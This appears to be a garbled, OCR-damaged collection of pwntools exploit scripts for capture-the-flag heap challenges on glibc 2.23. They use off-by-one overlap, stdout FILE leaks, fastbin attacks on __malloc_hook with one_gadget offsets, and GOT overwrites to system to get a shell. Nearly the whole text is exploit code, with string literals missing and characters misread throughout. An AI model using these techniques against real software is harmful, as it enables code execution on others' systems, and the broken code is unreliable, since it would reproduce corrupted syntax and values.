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from pwn import

context.log level

context.update(arch ,timeout=1)
p process( )

libc = ELF(

ogg = [Ox45226,0x4527a,0xf0364,0xf1207]

def pr(a,addr):

log.success(a (addr))

def show_name():

p.sendlineafter(

def add(content
p.sendlineafter( 5 )

p.sendlineafter( ,content)

def delete(index):
p.sendlineafter( 5 )
p.sendlineafter( (index))

def show_note():

p.sendlineafter(
def gift(content):
p.sendlineafter( 5
p.sendlineafter( ,content)

p.sendlineafter(

(p.recvuntil( )[:-1],16) -240
libcbase = leak - libc.sym|[
one libcbase oggl(o]
,libcbase)
,one)
0x10+p64(0x1)+p64(0one))

heap_addr=u64(p.recv(6).1just(8,
,heap_addr)
0x20+p64 (heap_addr+8)

p.interactive()

glibc2.23

#Tstdoutitt FElibc
off-by-one

from pwn import

context.update(arch ,timeout=0.2,0s




0gg = [0x45226,0x4527a,0xf0364,0xf1207]
def pr(a,addr):
log.success(a (addr))

def add(size,content ):
p.sendlineafter( )
p.sendlineafter( 5 (size))

p.sendafter( ,content)

def delete(index):
p.sendlineafter(

p.sendlineafter( (index))

def edit(index,content):
p.sendlineafter( 5 )
p.sendlineafter( 5 (index))
p.sendafter( ,content)
def pwn():

add(ox18)

add(ox10)

add (ox60)

add(0x50)

add(ox10)

edit(9,

delete(1)

delete(2)

add(ox18)

add(0xco)

edit(2,

edit(1,

add(ox60)

add(0x60)

edit(6, 0x33+p64(0xfbad1800)+p64(0)*3

leak = u64(p.recvuntil( MIECH )
libcbase = leak (ex7ffff7dd2600-0x7ffff7a0d000)
malloc_hook libcbase libc.sym[ ]
libc_realloc libcbase libc.sym[

one libcbase oggl1]

pr( ,leak)

pr( ,libcbase)

pr( smalloc_hook)

pr( ,one)

pr( ,1libc_realloc)

pause()

delete(2)

edit(5,p64(malloc_hook-35))

add(0x60)

add(0x60)

edit(7, 11+p64(one)+p64(libc_realloc+11))
p.sendlineafter( 5 )

p.sendlineafter(

p.interactive()

while True:
try:
p process(

pwn ()
break
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from pwn import

context.update(arch ,timeout=1)
1ibc=ELF(

def add(sz):

io.sendlineafter(
io.sendlineafter(
io.sendlineafter(
io.sendlineafter(

dele(idx):
.sendlineafter(
.sendlineafter(

edit(idx,ct):
.sendlineafter(
.sendlineafter(
.sendafter(

def pwn():

add(0x99)

add(ox60)

add(0x20)

dele(9)

dele(1)

add(0x190)

edit(9, 0x10+p64(0)+p64(0xfl))

add(0x79)

edit(1,p16(0x2620-0x43))

add(ox60)

add(ox60)

edit(6, 0x33+p64(0xfbad1800)+p64(0)*3
libc_leak=u64(io.recvuntil( )[-6:].1just(8, ))-0x3c5600
log.success( (libc_leak))
malloc_hook=1ibc_leak+libc.sym[

one_gadget=1ibc_leak+0xf1207

log.success( (malloc_hook))
add(0x60)

dele(7)

edit(7,p64(malloc_hook-0x23))

add(0x60)

add(0x60)

edit(9, Ox13+p64(one_gadget))

io.sendlineafter( h )




io.sendlineafter(

io.interactive()

if _ _name__
while True:
try:
io=process(
pwn ()
except:
print

io.close()
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exp:

from pwn import

context.log level

p = process( )

elf = ELF( )
1libc=ELF(

ogg [0x4f3d5,0x41432,0x10a41c ]
free_got elf.got|[ ]
atoi_got elf.got|[ ]
printf_plt elf.plt[

exit_got elf.got|[ ]

def pr(a,addr):
log.success(a (addr))

def setInstruction(size,content):
p.sendlineafter( 5 )

p.sendlineafter( 5 (size))

p.sendafter( ,content)




def setInstruction2(size,content):
p.sendafter( 5 )
p.sendlineafter( (size)

p.sendafter( ,content)

def getOrderl(al,a2,a3,a4):
result (al<<26) (a2<<21) (a3<<16)
return p32(result)

def run():

p.sendlineafter(

setInstruction(0x100,
setInstruction(0x20,
setInstruction(0x30,
setInstruction(0x40,

payloadl getOrder1(8,0,0,0xf1) getOrderl(8,0,0,0xe0)
etOrder1(1,0,0,0)
setInstruction(@x100,payloadl)

0x100
p64(0)+p64(0xal)+p64(free_got-8).1ljust(0x20,
p64(0)+p64(0xbl)+p64(atoi_got).ljust(0x30,
p64(0)+p64(0xcl)+p64(atoi_got).ljust (x40,
setInstruction(@x1co,payload2)
run()

setInstruction(0x20,
setInstruction(0x30,
setInstruction(0x40,

setInstruction(0x20,p64(printf_plt)*2)
setInstruction(0x30,p64(printf_plt))
p.sendlineafter( ) )
leak (p.recvuntil( )[:-1],16) 231
libcbase leak libc.sym[
one libcbase oggl9]
libcbase libc.sym[
,libcbase)

,system_addr)

setInstruction2(0x40,p64(system_addr))
p.sendlineafter( 5 )

p.interactive()

getOrder1(8,1,1,0x8+1)

getOrder1(0x2b,1,0,0xffff)+g
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